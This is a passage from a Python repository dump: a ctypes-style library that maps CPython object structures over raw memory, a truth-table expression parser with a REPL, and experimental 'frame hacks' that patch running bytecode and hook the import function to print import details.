ints, not bytes 90 | super()._set_(addressof(new)) 91 | 92 | def _del_(self): 93 | addr = super()._get_() 94 | if is_allocated(addr): 95 | free(addr) 96 | super()._del_() 97 | 98 | class py_object(c_void_p): 99 | def _get_(self): 100 | if not self.is_null(): 101 | addr = super()._get_() 102 | return load_addr(addr) 103 | return NULL 104 | 105 | def _set_(self, value): 106 | if not self.is_null(): 107 | decref(self._get_()) 108 | incref(value) 109 | super()._set_(id(value)) 110 | 111 | class PyObject(c_struct): 112 | ob_refcnt: c_ssize_t 113 | ob_base: py_object 114 | 115 | class PyVarObject(PyObject): 116 | ob_size: c_ssize_t 117 | 118 | class FloatObj(PyObject): 119 | ob_fval: c_double 120 | 121 | class ListObj(PyVarObject): 122 | ob_item: field(lambda inst:c_ptr[py_object*inst.ob_size], c_ptr._size_) 123 | allocated: c_ulong 124 | 125 | class TupleObj(PyVarObject): 126 | ob_item: field(lambda inst:py_object*inst.ob_size) 127 | 128 | class LongObj(PyVarObject): 129 | ob_digit: field(lambda inst:c_int*abs(inst.ob_size)) 130 | 131 | class DictKeyEntry(c_struct): 132 | me_hash: c_ssize_t 133 | me_key: py_object 134 | me_value: py_object 135 | 136 | class DictKeys(c_struct): 137 | dk_refcnt: c_ssize_t 138 | dk_size: c_ssize_t 139 | dict_lookup_func: c_void_p 140 | dk_usable: c_ssize_t 141 | dk_nentries: c_ssize_t 142 | dk_indices: field(lambda inst:(typ:=(c_byte if (sz:=inst.dk_size) <= 128 else \ 143 | c_short if 256 <= sz <= 2**15 else \ 144 | c_int if 2**16 <= sz <= 2**31 else c_long)) * inst.dk_nentries) 145 | dk_huh: c_void_p # dicts use confusing logic, this stuff is wrong 146 | dk_entries: field(lambda inst:DictKeyEntry * inst.dk_nentries) 147 | 148 | class DictObj(PyObject): 149 | ma_used: c_ssize_t 150 | ma_version_tag: c_ulong 151 | ma_keys: c_ptr[DictKeys] 152 | ma_values: field(lambda inst:c_ptr[py_object*inst.ma_used], c_ptr._size_) 153 | 154 | 155 | class PyAsyncMethods(c_struct): 156 | am_await: c_void_p 157 | am_aiter: c_void_p 158 | am_anext: c_void_p 159 | am_send: c_void_p 160 | 161 | class PyNumberMethods(c_struct): 162 | nb_add: c_void_p 163 | nb_subtract: c_void_p 164 | nb_multiply: c_void_p 165 | nb_remainder: c_void_p 166 | nb_divmod: c_void_p 167 | nb_power: c_void_p 168 | nb_negative: c_void_p 169 | nb_positive: c_void_p 170 | nb_absolute: c_void_p 171 | nb_bool: c_void_p 172 | nb_invert: c_void_p 173 | nb_lshift: c_void_p 174 | nb_rshift: c_void_p 175 | nb_and: c_void_p 176 | nb_xor: c_void_p 177 | nb_or: c_void_p 178 | nb_int: c_void_p 179 | nb_reserved: c_void_p 180 | nb_float: c_void_p 181 | nb_inplace_add: c_void_p 182 | nb_inplace_subtract: c_void_p 183 | nb_inplace_multiply: c_void_p 184 | nb_inplace_remainder: c_void_p 185 | nb_inplace_power: c_void_p 186 | nb_inplace_lshift: c_void_p 187 | nb_inplace_rshift: c_void_p 188 | nb_inplace_and: c_void_p 189 | nb_inplace_xor: c_void_p 190 | nb_inplace_or: c_void_p 191 | nb_floor_divide: c_void_p 192 | nb_true_divide: c_void_p 193 | nb_inplace_floor_divide: c_void_p 194 | nb_inplace_true_divide: c_void_p 195 | nb_index: c_void_p 196 | nb_matrix_multiply: c_void_p 197 | nb_inplace_matrix_multiply: c_void_p 198 | 199 | class PySequenceMethods(c_struct): 200 | sq_length: c_void_p 201 | sq_concat: c_void_p 202 | sq_repeat: c_void_p 203 | sq_item: c_void_p 204 | was_sq_slice: c_void_p 205 | sq_ass_item: c_void_p 206 | was_sq_ass_slice: c_void_p 207 | sq_contains: c_void_p 208 | sq_inplace_concat: c_void_p 209 | sq_inplace_repeat: c_void_p 210 | 211 | class PyMappingMethods(c_struct): 212 | mp_length: c_void_p 213 | mp_subscript: c_void_p 214 | mp_ass_subscript: c_void_p 215 | 216 | class PyBufferProcs(c_struct): 217 | bf_getbuffer: c_void_p 218 | bf_releasebuffer: c_void_p 219 | 220 | class PyMethodDef(c_struct): 221 | name: c_char_p 222 | meth: c_void_p 223 | flags: c_long 224 | doc: c_char_p 225 | 226 | class PyMemberDef(c_struct): 227 | name: c_char_p 228 | type: c_long 229 | offset: c_long 230 | flags: c_long 231 | doc: c_char_p 232 | 233 | class PyGetSetDef(c_struct): 234 | name: c_char_p 235 | get: c_void_p 236 | set: c_void_p 237 | doc: c_char_p 238 | closure: c_void_p 239 | 240 | class PyTypeObject(PyVarObject): 241 | tp_name: c_char_p 242 | tp_basicsize: c_long 243 | tp_itemsize: c_long 244 | tp_dealloc: c_void_p 245 | tp_vectorcall_offset: c_ssize_t 246 | tp_getattr: c_void_p 247 | tp_setattr: c_void_p 248 | tp_as_async: c_ptr[PyAsyncMethods] 249 | tp_repr: c_void_p 250 | tp_as_number: c_ptr[PyNumberMethods] 251 | tp_as_sequence: c_ptr[PySequenceMethods] 252 | tp_as_mapping: c_ptr[PyMappingMethods] 253 | tp_hash: c_void_p 254 | tp_call: c_void_p 255 | tp_str: c_void_p 256 | tp_getattro: c_void_p 257 | tp_setattro: c_void_p 258 | tp_as_buffer: c_ptr[PyBufferProcs] 259 | tp_flags: c_ulong 260 | tp_doc: c_char_p 261 | tp_traverse: c_void_p 262 | tp_clear: c_void_p 263 | tp_richcompare: c_void_p 264 | tp_weaklistoffset: c_long 265 | tp_iter: c_void_p 266 | tp_iternext: c_void_p 267 | tp_methods: c_ptr[PyMethodDef*None] 268 | tp_members: c_ptr[PyMemberDef*None] 269 | tp_getset: c_ptr[PyGetSetDef*None] 270 | tp_base: py_object 271 | tp_dict: py_object 272 | tp_descr_get: c_void_p 273 | tp_descr_set: c_void_p 274 | tp_dictoffset: c_long 275 | tp_init: c_void_p 276 | tp_alloc: c_void_p 277 | tp_new: c_void_p 278 | tp_free: c_void_p 279 | tp_is_gc: c_void_p 280 | tp_bases: py_object 281 | tp_mro: py_object 282 | tp_cache: py_object 283 | tp_subclasses: py_object 284 | tp_weaklist: py_object 285 | tp_del: c_void_p 286 | tp_version_tag: c_ulong 287 | tp_finalize: c_void_p 288 | tp_vectorcall: c_void_p 289 | 290 | class PyHeapTypeObject(c_struct): 291 | ht_type: PyTypeObject 292 | as_async: PyAsyncMethods 293 | as_number: PyNumberMethods 294 | as_mapping: PyMappingMethods 295 | as_sequence: PySequenceMethods 296 | as_buffer: PyBufferProcs 297 | ht_name: py_object 298 | ht_slots: py_object 299 | ht_qualname: c_void_p #py_object # this field seems to always be corrupted? 300 | ht_cached_keys: c_void_p 301 | ht_module: py_object 302 | 303 | def PyType_Modified(typ): 304 | if (typ.__flags__ & (1 << 19)) == 0: 305 | return 306 | 307 | for ref in typ.__subclasses__(): 308 | PyType_Modified(ref) 309 | TypeObj.from_address(id(typ)).tp_flags &= ~(1 << 19) 310 | 311 | def determine_contents_type(self): 312 | base_cls = self.ob_base 313 | if '__slots__' in vars(base_cls): 314 | return anon('cls_contents', c_struct, **{ 315 | n: py_object for n in base_cls.__slots__ 316 | }) 317 | else: 318 | return anon('cls_contents', c_struct, cls_dict=py_object, tp_weaklist=c_void_p) 319 | 320 | class UserCls(PyObject): 321 | cls_contents: field(determine_contents_type) 322 | -------------------------------------------------------------------------------- /native_ctypes/bases.py: -------------------------------------------------------------------------------- 1 | from .load_addr import * 2 | from .util import * 3 | 4 | type_cache = {} 5 | 6 | NULL = type('',(),{'__repr__':lambda s:'', '__bool__':lambda s:False})() 7 | 8 | class c_meta(type): 9 | def __repr__(cls): 10 | return cls.__name__ 11 | 12 | @check('_typed_') 13 | def __getitem__(cls, typ): 14 | if (cls, typ) in type_cache: 15 | return type_cache[cls, typ] 16 | def _get_(self): 17 | if cls.is_null(self): 18 | return NULL 19 | addr = cls._get_(self) 20 | return typ.from_address(addr) 21 | 22 | def _set_(self, value): 23 | if hasattr(value, 'addr'): 24 | value = addressof(value) 25 | cls._set_(self, value) 26 | 27 | return type_cache.setdefault( 28 | (cls, typ), 29 | type( 30 | f'{cls}[{typ}]', 31 | (cls.__base__,), { 32 | '_typ_':typ, 33 | '_size_':cls._size_, 34 | '_format_':cls._format_, 35 | '_get_':_get_, 36 | '_set_':_set_ 37 | } 38 | ) 39 | ) 40 | 41 | def __mul__(cls, length): 42 | if cls._size_ == -1 and length is None: 43 | raise TypeError(f'({cls}*{length}) is invalid') 44 | if (cls, length) in type_cache: 45 | return type_cache[cls, length] 46 | 47 | def at_idx(self, idx): 48 | return cls.from_address(self.addr + (cls._size_ * idx)) 49 | 50 | def _get_(self, slc=slice(None)): 51 | return [self[idx] for idx in range(*slc.indices(len(self)))] 52 | 53 | def _set_(self, iterable): 54 | if iterable: 55 | for idx, val in zip(range(len(self)), iterable): 56 | self[idx] = val 57 | 58 | def __len__(self): 59 | idx = length 60 | if idx is None: 61 | idx = 0 62 | while not self.at_idx(idx).is_null(): 63 | idx += 1 64 | return idx 65 | 66 | def __getitem__(self, idx): 67 | if isinstance(idx, slice): 68 | return self._get_(idx) 69 | return self.at_idx(idx).value 70 | 71 | def __setitem__(self, idx, value): 72 | if isinstance(idx, slice): 73 | for jdx, val in zip(range(*idx.indices(len(self))), value): 74 | self.at_idx(jdx).value = val 75 | else: 76 | self.at_idx(idx).value = value 77 | 78 | return type_cache.setdefault( 79 | (cls, length), 80 | type( 81 | f'({cls}*{length})', 82 | (c_data,), { 83 | 'length':length, 84 | '_typ_':cls, 85 | '_size_':(cls._size_ * length) if length else -1, 86 | '__len__':__len__, 87 | '__getitem__':__getitem__, 88 | '__setitem__':__setitem__, 89 | 'at_idx':at_idx, 90 | '_get_':_get_, 91 | '_set_':_set_ 92 | } 93 | ) 94 | ) 95 | 96 | class c_data(metaclass=c_meta): 97 | def __init__(self, value=NULL, sizes=()): # `sizes` is used for dynamic structs 98 | self._pre_init_(sizes) 99 | if self._size_ < 0: 100 | raise TypeError(f'unable to alloc {type(self)} with size of {self._size_}') 101 | self._addr = alloc(self._size_) 102 | try: 103 | self.value = value 104 | except ValueError: 105 | del self.value 106 | raise 107 | 108 | def __repr__(self): 109 | if getattr(self, '_addr', None) is not None: 110 | return f'{type(self)}({flatten(self.value)!r})' 111 | return f'{type(self)}()' 112 | 113 | def _pre_init_(self, args): 114 | pass 115 | 116 | def _raw_(self): 117 | _size_ = self._size_ 118 | if _size_ == -1 and hasattr(self, '__len__'): 119 | _size_ = len(self) 120 | return getmem(self.addr, _size_) 121 | 122 | def _get_(self): 123 | return self._raw_().cast(self._format_)[0] 124 | 125 | def _set_(self, value): 126 | try: 127 | self._raw_().cast(self._format_)[0] = value 128 | except ValueError: 129 | raise ValueError(f'unable to set {type(self)} to {value}') from None 130 | 131 | def _del_(self): 132 | self.value = NULL 133 | if is_allocated(self.addr): 134 | free(self.addr) 135 | self._addr = None 136 | 137 | @property 138 | def addr(self): 139 | if self._addr is not None: 140 | return self._addr 141 | raise MemoryError('operation on freed memory') 142 | 143 | @classmethod 144 | def from_address(cls, addr): 145 | if not isinstance(addr, int): 146 | raise TypeError('integer expected') 147 | self = cls.__new__(cls) 148 | self._addr = addr 149 | return self 150 | 151 | @property 152 | def value(self): 153 | return self._get_() 154 | 155 | @value.setter 156 | def value(self, value): 157 | if value is not NULL: 158 | self._set_(value) 159 | else: 160 | raw = self._raw_() 161 | raw[:raw.nbytes] = b'\x00' * raw.nbytes 162 | 163 | @value.deleter 164 | def value(self): 165 | self._del_() 166 | 167 | def is_null(self): 168 | return sum(self._raw_()) == 0 169 | 170 | class field: 171 | def __init__(self, get_typ, _size_=0, _name_=''): 172 | self.get_typ = get_typ 173 | self._size_ = _size_ 174 | self.__name__ = _name_ 175 | 176 | class complex_data(c_data): 177 | def __getattr__(self, attr): 178 | if attr not in [fld for fld, _ in self._fields_]: 179 | return super().__getattribute__(attr) 180 | else: 181 | raw = self.by_name(attr) 182 | if hasattr(type(raw), 'length'): 183 | return raw 184 | if type(raw).__base__ == c_data: 185 | return raw.value 186 | else: 187 | return raw 188 | 189 | def __setattr__(self, attr, value): 190 | if attr not in [fld for fld, _ in self._fields_]: 191 | super().__setattr__(attr, value) 192 | else: 193 | raw = self.by_name(attr) 194 | if type(raw).__base__ == c_data: 195 | raw.value = value 196 | else: 197 | assert raw._size_ == value._size_ 198 | memcpy(raw.addr, value.addr, raw._size_) 199 | 200 | def __dir__(self): 201 | return super().__dir__() + [fld for fld, _ in self._fields_] 202 | 203 | def _get_(self): 204 | return {fld:getattr(self,fld) for fld, _ in self._fields_} 205 | 206 | def _set_(self, value): 207 | if value: 208 | for key, typ in self._fields_: 209 | if val := value.get(key): 210 | setattr(self, key, val) 211 | 212 | class c_struct(complex_data): 213 | def __init_subclass__(cls): 214 | cls._fields_ = getattr(cls.__base__, '_fields_', []) + \ 215 | vars(cls).get('_fields_', [*getattr(cls, '__annotations__', {}).items()]) 216 | _size_ = 0 217 | for _, typ in cls._fields_: 218 | if not typ._size_: 219 | cls._size_ = -1 220 | return 221 | _size_ += typ._size_ 222 | cls._size_ = _size_ 223 | 224 | def _pre_init_(self, sizes): 225 | if self._size_ == -1: 226 | # this struct has dynamic sized fields, so we need more info to init 227 | _size_ = 0 228 | for _, typ in self._fields_: 229 | if typ._size_: 230 | _size_ += typ._size_ 231 | else: 232 | if sizes: 233 | inc, *sizes = sizes 234 | _size_ += inc 235 | else: 236 | raise TypeError(f'not enough sizes for {type(self)}') 237 | self._size_ = _size_ 238 | if sizes: 239 | raise TypeError(f'too many sizes for {type(self)}') 240 | 241 | def by_name(self, name): 242 | offset = 0 243 | for fld_name, typ in self._fields_: 244 | if fld_name == name: 245 | if isinstance(typ, field): 246 | typ = typ.get_typ(self) 247 | return typ.from_address(self.addr + offset) 248 | offset += typ._size_ 249 | raise NameError(f'{name} not in {type(self)}') 250 | 251 | class c_union(complex_data): 252 | def __init_subclass__(cls): 253 | cls._fields_ = getattr(cls.__base__, '_fields_', []) + \ 254 | vars(cls).get('_fields_', [*getattr(cls, '__annotations__', {}).items()]) 255 | _size_ = 0 256 | for _, typ in cls._fields_: 257 | if isinstance(typ, field): 258 | raise NotImplementedError(f'{cls} does not support {type(typ).__name__}') 259 | if _size_ < typ._size_: 260 | _size_ = typ._size_ 261 | cls._size_ = _size_ 262 | 263 | def by_name(self, name): 264 | for fld_name, typ in self._fields_: 265 | if fld_name == name: 266 | return typ.from_address(self.addr) 267 | raise NameError(f'{name} not in {type(self)}') 268 | 269 | def anon(*args, **kwargs): 270 | name, typ = args 271 | return type( 272 | f'{name}', 273 | (typ,), 274 | {'__annotations__':kwargs} 275 | ) 276 | -------------------------------------------------------------------------------- /truthtable.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import readline 3 | import ast 4 | 5 | dispatch = {} 6 | def register(ops, argc, precedence=None): 7 | def inner(func): 8 | for op in ops: 9 | dispatch[op] = (func, argc, precedence) 10 | return func 11 | return inner 12 | 13 | @register(['~', '!', 'not'], argc=1, precedence=1) 14 | def unary_not(val): 15 | return not val 16 | 17 | @register(['⋀', 'A', 'and', '&'], argc=2, precedence=2) 18 | def binary_and(v1, v2): 19 | return v1 and v2 20 | 21 | @register(['∨', 'V', 'or', '|'], argc=2, precedence=3) 22 | def binary_or(v1, v2): 23 | return v1 or v2 24 | 25 | @register(['→', '->'], argc=2, precedence=4) 26 | def binary_conditional(v1, v2): 27 | return not v1 or v2 28 | 29 | @register(['↔', '<->', '='], argc=2, precedence=5) 30 | def binary_biconditional(v1, v2): 31 | return v1 == v2 32 | 33 | @register(['<'], argc=2) 34 | def binary_lt(v1, v2): 35 | return v1 < v2 36 | 37 | @register(['≤', '<='], argc=2) 38 | def binary_lteq(v1, v2): 39 | return v1 <= v2 40 | 41 | @register(['>'], argc=2) 42 | def binary_gt(v1, v2): 43 | return v1 > v2 44 | 45 | @register(['≥', '>='], argc=2) 46 | def binary_gteq(v1, v2): 47 | return v1 >= v2 48 | 49 | @register(['⊕', '^', 'xor'], argc=2) 50 | def binary_xor(v1, v2): 51 | return v1 ^ v2 52 | 53 | @register(['!='], argc=2) 54 | def binary_neq(v1, v2): 55 | return v1 != v2 56 | 57 | @register([None], argc=1) 58 | def nop(v1): 59 | return v1 60 | 61 | class ParsingError(Exception): 62 | def __init__(self, msg, idx): 63 | super().__init__(msg) 64 | self.idx = idx 65 | 66 | def build_tree_inner(stmt, vars, opener=None, args=None): 67 | current_op = None 68 | args = args or [] 69 | closed = False 70 | while stmt: 71 | tok, idx = stmt.pop(0) 72 | if tok.isspace(): 73 | continue 74 | if tok in ')]}' and opener is None: 75 | # we must be in a precedence recursive call, put back and bail 76 | stmt.insert(0, (tok, idx)) 77 | break 78 | elif tok == { 79 | '(': ')', 80 | '[': ']', 81 | '{': '}' 82 | }.get(opener): 83 | # we just closed a container, set flag and bail 84 | closed = True 85 | break 86 | elif tok in '({[': 87 | # we just entered new container, recurse 88 | args.append(build_tree_inner(stmt, vars, tok)) 89 | elif tok in dispatch: 90 | # we just found an operator 91 | if current_op: 92 | # we already have an operator, handle unary ops and precedence 93 | _, new_ac, new_p = dispatch.get(tok, (None, 0, None)) 94 | _, ac, p = dispatch.get(current_op, (None, 0, None)) 95 | if len(args) != ac: 96 | # we have a new op, but not enough args for current op 97 | # it should be a unary op 98 | # put back new op, and recurse to get next arg 99 | if new_ac != 1: 100 | raise ParsingError(f'Invalid Token: {idx=}', idx) 101 | stmt.insert(0, (tok, idx)) 102 | args.append(build_tree_inner(stmt, vars)) 103 | continue 104 | else: 105 | if new_p is None or p is None: 106 | # need to apply precedence manually 107 | raise ParsingError(f'One or more ambiguous operators has appeared, apply precedence with parenthesis: {idx=}', idx) 108 | if new_p < p: 109 | # new op has higher precedence 110 | # put back new op, and recurse with last arg 111 | stmt.insert(0, (tok, idx)) 112 | args[-1] = build_tree_inner(stmt, vars, None, [args[-1]]) 113 | continue 114 | else: 115 | # new op has lower precedence 116 | # repace args with our current op and args 117 | # continue with new op 118 | args[:] = [[current_op, *args]] 119 | current_op = tok 120 | elif tok.isalpha(): 121 | # variable token, add it to args and vars 122 | vars.add(tok) 123 | args.append(tok) 124 | else: 125 | raise ParsingError(f'Invalid Token: {idx=}', idx) 126 | # we are either out of tokens, or bailed 127 | do_op, ac, p = dispatch.get(current_op) 128 | if ac != len(args): 129 | raise ParsingError(f'Invalid number of args for op: {current_op}, {idx=}', idx) 130 | if opener and not closed: 131 | # enforces that containers must be closed 132 | raise ParsingError(f'Bracket: {opener} never closed, {idx=}', idx) 133 | return [current_op, *args] 134 | 135 | def tokenize_inner(stmt): 136 | chars = [*stmt] 137 | while chars: 138 | let = chars.pop(0) 139 | idx = len(stmt) - len(chars) - 1 140 | if let.isspace(): 141 | continue 142 | elif let in '{[()]}': 143 | yield let, idx 144 | elif any(key and (let + ''.join(chars)).startswith(key) for key in dispatch): 145 | for key in sorted(dispatch, key=lambda k:0 if k is None else len(k))[::-1]: 146 | if key and (let + ''.join(chars)).startswith(key): 147 | yield let + ''.join(chars.pop(0) for _ in range(len(key) - 1)), idx 148 | break 149 | elif let.isalnum(): 150 | while chars and chars[0].isalnum(): 151 | let += chars.pop(0) 152 | yield let, idx 153 | else: 154 | raise ParsingError(f'Invalid Token: {idx=}', idx) 155 | 156 | def tokenize(stmt): 157 | if not stmt: 158 | raise ParsingError('no input to tokenizer', -1) 159 | try: 160 | return [*tokenize_inner(stmt)] 161 | except ParsingError as e: 162 | msg = '\n\t' + e.args[0] 163 | msg += '\n\t' + stmt + '\n' 164 | msg += '\t' + (' ' * e.idx) + '^\n' 165 | e.args = (msg, *e.args[1:]) 166 | raise 167 | 168 | def build_tree(stmt, tokens): 169 | vars = set() 170 | msg = None 171 | try: 172 | return build_tree_inner(tokens, vars), list(vars) 173 | except ParsingError as e: 174 | msg = '\n\t' + e.args[0] 175 | msg += '\n\t' + stmt + '\n' 176 | msg += '\t' + (' ' * e.idx) + '^\n' 177 | e.args = (msg, *e.args[1:]) 178 | raise 179 | finally: 180 | if tokens and msg is None: 181 | raise ParsingError('tokens remaining after parsing', -1) 182 | 183 | def run_tree(tree, vars): 184 | op, *args = tree 185 | vals = [] 186 | for arg in args.copy(): 187 | if isinstance(arg, list): 188 | vals.append(run_tree(arg, vars)) 189 | else: 190 | vals.append(vars[arg]) 191 | do_op, ac, p = dispatch[op] 192 | if ac != len(vals): 193 | raise RuntimeError(f'Invalid number of args for op: {op}') 194 | return do_op(*vals) 195 | 196 | def format_table(tbl): 197 | out = [] 198 | rows = [r for r in tbl if r] 199 | if rows: 200 | for cidx in range(len(rows[0])): 201 | largest = None 202 | for r in rows: 203 | if largest is None or len(r[cidx]) > largest: 204 | largest = len(r[cidx]) 205 | for r in rows: 206 | r[cidx] += ' ' * (largest - len(r[cidx])) 207 | for i, row in enumerate(tbl): 208 | if row: 209 | out.append('┃' + '┃'.join(row) + '┃') 210 | else: 211 | out.append('┣' + (''.join('╋' if c in '┃╋' else '━' for c in out[-1][1:-1]) if out else '') + '┫') 212 | out.insert(0, '┏' + (''.join('┳' if c in '┃╋' else '━' for c in out[0][1:-1]) if out else '') + '┓') 213 | out.append('┗' + (''.join('┻' if c in '┃╋' else '━' for c in out[-1][1:-1]) if out else '') + '┛') 214 | return '\n'.join(out) 215 | 216 | def build_table(stmt, tree, vars, args): 217 | lines = [] 218 | lines.append([*vars, stmt]) 219 | lines.append(None) 220 | for vals in args: 221 | res = repr(run_tree(tree, {k: v for k, v in zip(vars, vals)})) 222 | lines.append([*map(repr, vals), res]) 223 | print(format_table(lines)) 224 | 225 | def truth_table(stmt): 226 | tokens = tokenize(stmt) 227 | tree, vars = build_tree(stmt, tokens.copy()) 228 | args = itertools.product(*[[True, False]] * len(vars)) 229 | build_table(stmt, tree, sorted(vars), args) 230 | 231 | def eval_statement(stmt, **vals): 232 | tokens = tokenize(stmt) 233 | tree, vars = build_tree(stmt, tokens.copy()) 234 | build_table(stmt, tree, sorted(vars), [[vals.get(v) for v in sorted(vars)]]) 235 | 236 | def dump_tree(tree, level=0, comma=False): 237 | op, *args = tree 238 | func, *_ = dispatch.get(op) 239 | print(' '*level, f'{func.__name__}(', sep='') 240 | for i, arg in enumerate(args): 241 | if isinstance(arg, str): 242 | print(' '*(level + 1), arg, end=(',' if ((i + 1) != len(args)) else '') + '\n', sep='') 243 | else: 244 | dump_tree(arg, level+1, ((i + 1) != len(args))) 245 | print(' '*level, ')'+(',' if comma else ''), sep='') 246 | 247 | def ttr(): 248 | while True: 249 | try: 250 | inp = input('?> ') 251 | if inp == 'exit': 252 | break 253 | stmt, *args = inp.split(',') 254 | if args: 255 | adct = {} 256 | for a in args: 257 | if '=' not in a: 258 | raise Exception('One or more arguments is formated incorrectly: [varname]=[value]') 259 | k, v = a.strip().split('=') 260 | try: 261 | adct[k] = ast.literal_eval(v) 262 | except: 263 | raise Exception('Malformed value') 264 | eval_statement(stmt, **adct) 265 | else: 266 | truth_table(stmt) 267 | except EOFError: 268 | print() 269 | break 270 | except Exception as e: 271 | print(e) 272 | print('exiting...') 273 | 274 | if __name__ == '__main__': 275 | ttr() 276 | -------------------------------------------------------------------------------- /framehacks.py: -------------------------------------------------------------------------------- 1 | #SUPPORTS# <= 3.9 (Tmeta) 2 | 3 | import sys, dis 4 | try: 5 | from native_ctypes import getmem 6 | except: 7 | from ctypes import c_char 8 | def getmem(addr, size): 9 | return memoryview((c_char*size).from_address(addr)).cast('B') 10 | 11 | ''' 12 | A collection of various weird code that tend to use stack frames in weird ways 13 | ''' 14 | 15 | # breaks in larger files that have EXTENDED_ARG before the JUMP_IF_FALSE_OR_POP 16 | # replace JUMP_IF_FALSE_OR_POP with NOP then 17 | # scan until we hit COMPARE_OP (>) Followed by JUMP_FORWARD, ROT_TWO, POP_TOP 18 | # replace those ops with ROT_TWO, ROT_THREE, CALL_FUNCTION(2), NOP 19 | # This rearranges the stack to be [cls, T, args], then calls cls(T, args) 20 | # and returns it 21 | 22 | class Tmeta(type): 23 | def __lt__(cls, ocls): 24 | frame = sys._getframe(1) 25 | mem = getmem(id(frame.f_code.co_code) + bytes.__basicsize__ - 1, len(frame.f_code.co_code)) 26 | instructions = [*dis.get_instructions(frame.f_code)] 27 | for idx, instruction in enumerate(instructions): 28 | if idx * 2 < frame.f_lasti: 29 | continue 30 | if instruction.opname == 'COMPARE_OP' and instruction.argval == '>': 31 | if instructions[idx+1].opname == 'JUMP_FORWARD': 32 | if instructions[idx+2].opname == 'ROT_TWO': 33 | if instructions[idx+3].opname == 'POP_TOP': 34 | inj_code = bytes([ 35 | dis.opmap['ROT_TWO'], 0, 36 | dis.opmap['ROT_THREE'], 0, 37 | dis.opmap['CALL_FUNCTION'], 2, 38 | dis.opmap['NOP'], 0, 39 | ]) 40 | mem[frame.f_lasti] = dis.opmap['POP_TOP'] 41 | mem[frame.f_lasti + 2] = dis.opmap['NOP'] 42 | mem[idx * 2:idx * 2 + len(inj_code)] = inj_code 43 | return cls 44 | 45 | class Array(metaclass=Tmeta): 46 | def __init__(self, T, args): 47 | self.T = T 48 | self.args = args 49 | 50 | def __repr__(self): 51 | return f'{type(self).__name__}<{self.T.__name__}>{self.args}' 52 | 53 | class HashMap(metaclass=Tmeta): 54 | def __init__(self, T, args): 55 | self.T = T 56 | self.args = args 57 | 58 | def __repr__(self): 59 | return f'{type(self).__name__}<({", ".join(t.__name__ for t in self.T)})>{self.args}' 60 | 61 | a = Array(1,2,3) 62 | b = HashMap<(str, int)>{ 63 | 'a': 0, 64 | 'b': 1 65 | } 66 | 67 | def f(): 68 | v = Array(1,2,3) 69 | print(v) 70 | 71 | # the following allows for a function to emulate a C style exception 72 | # removes the traceback of the function internals 73 | # inject raise after upper function 74 | # use as `return builtinexc(exc)` 75 | def builtinexc(exc, level=0): 76 | frame = sys._getframe(2 + level) 77 | mem = getmem(id(frame.f_code.co_code) + bytes.__basicsize__ - 1, len(frame.f_code.co_code)) 78 | mem[frame.f_lasti + 2:frame.f_lasti + 4] = bytes([dis.opmap['RAISE_VARARGS'], 1]) 79 | return exc 80 | 81 | def test_builtinexc(): 82 | return builtinexc(TypeError('testing')) 83 | 84 | from ctypes import ( 85 | pythonapi, POINTER, byref, 86 | c_int, c_wchar_p 87 | ) 88 | import os 89 | 90 | def rerun(*new_flags, keep_old=True): 91 | _argv = POINTER(c_wchar_p)() 92 | _argc = c_int() 93 | pythonapi.Py_GetArgcArgv(byref(_argc), byref(_argv)) 94 | orig_argv = _argv[:_argc.value] 95 | if keep_old: 96 | orig_argv[1:1] = new_flags 97 | os.execv(orig_argv[0], orig_argv) 98 | else: 99 | os.execv(orig_argv[0], (orig_argv[0],) + new_flags) 100 | 101 | import gc 102 | 103 | class magic: 104 | def __length_hint__(self): 105 | return 1 106 | def __iter__(self): 107 | for obj in gc.get_objects(): 108 | if type(obj) == tuple and len(obj) == 1: 109 | try:1 in obj 110 | except SystemError: 111 | yield obj 112 | break 113 | 114 | weird = tuple(magic()) 115 | 116 | # fishhook research 117 | 118 | # A-E are unknown size arrays 119 | 120 | ''' 121 | (PyHeapTypeObject) [ 122 | (PyTypeObject) [ 123 | ... 124 | -> A 125 | ... 126 | -> C 127 | -> B 128 | -> D 129 | ... 130 | -> E 131 | ] 132 | A 133 | B 134 | C 135 | D 136 | E 137 | ... 138 | ] 139 | ''' 140 | 141 | # 1. Collect ptr values to get starting addresses of A-E by looking for pointers that direct within PyHeapTypeObject 142 | from ctypes import ( 143 | sizeof, 144 | c_void_p, 145 | c_char 146 | ) 147 | 148 | basic_size = sizeof(c_void_p) 149 | 150 | def mem(addr, size): 151 | return (c_char*size).from_address(addr) 152 | 153 | class HeapTypeObj: 154 | __slots__ = () 155 | 156 | size = type(HeapTypeObj).__sizeof__(HeapTypeObj) 157 | static_size = type.__sizeof__(type) 158 | cls_mem = mem(id(HeapTypeObj), size).raw 159 | address = id(HeapTypeObj) 160 | pointers = [(offset, ptr) for offset, ptr in enumerate(memoryview(cls_mem).cast('l')) 161 | if address < ptr < address + len(cls_mem)] 162 | 163 | # 2. Get Differences between ptr[B]-ptr[A], ... to get sizes 164 | sizes = [] 165 | last_addr = None 166 | for offset, ptr in sorted(pointers, key=lambda i:i[1]): 167 | if last_addr is not None: 168 | sizes.append(ptr - last_addr) 169 | last_addr = ptr 170 | 171 | sizes.append(last_addr - ptr + len(cls_mem)) 172 | 173 | # 3. We now know the offsets and sizes of ptr[A-E] in PyTypeObject 174 | structs = [(0, static_size)] \ 175 | + [(offset, size) for (offset, _), size in zip(pointers, sizes)] 176 | 177 | # 4. Now comes the fun part 178 | # see fishhook 179 | 180 | import dis, sys 181 | 182 | old_import = __builtins__.__import__ 183 | 184 | def my_import(name, globals=None, locals=None, fromlist=(), level=0): 185 | try: 186 | frame = sys._getframe(1) 187 | except: 188 | return old_import(name, globals, locals, fromlist, level) 189 | loc = frame.f_globals["__name__"] 190 | code = frame.f_code 191 | co_code = code.co_code 192 | lasti = frame.f_lasti 193 | next_op = dis.opname[co_code[lasti + 2]] 194 | next_arg = co_code[lasti + 3] 195 | fl = ', '.join(fromlist) + ' from ' if fromlist else '' 196 | if 'STORE_' in next_op: 197 | if next_op in ['STORE_GLOBAL', 'STORE_NAME']: 198 | print(f'importing {fl}{name} as {code.co_names[next_arg]} in {loc}.{code.co_name}') 199 | else: 200 | print(f'importing {fl}{name} as {code.co_varnames[next_arg]} in {loc}.{code.co_name}') 201 | else: 202 | print(f'importing {fl}{name} in {loc}.{code.co_name}') 203 | return old_import(name, globals, locals, fromlist, level) 204 | 205 | __builtins__.__import__ = my_import 206 | 207 | import os 208 | 209 | import sys 210 | import dis 211 | 212 | class name_aware: 213 | def __init__(self): 214 | frame = None 215 | level = 1 216 | while frame is None or 'STORE_' not in 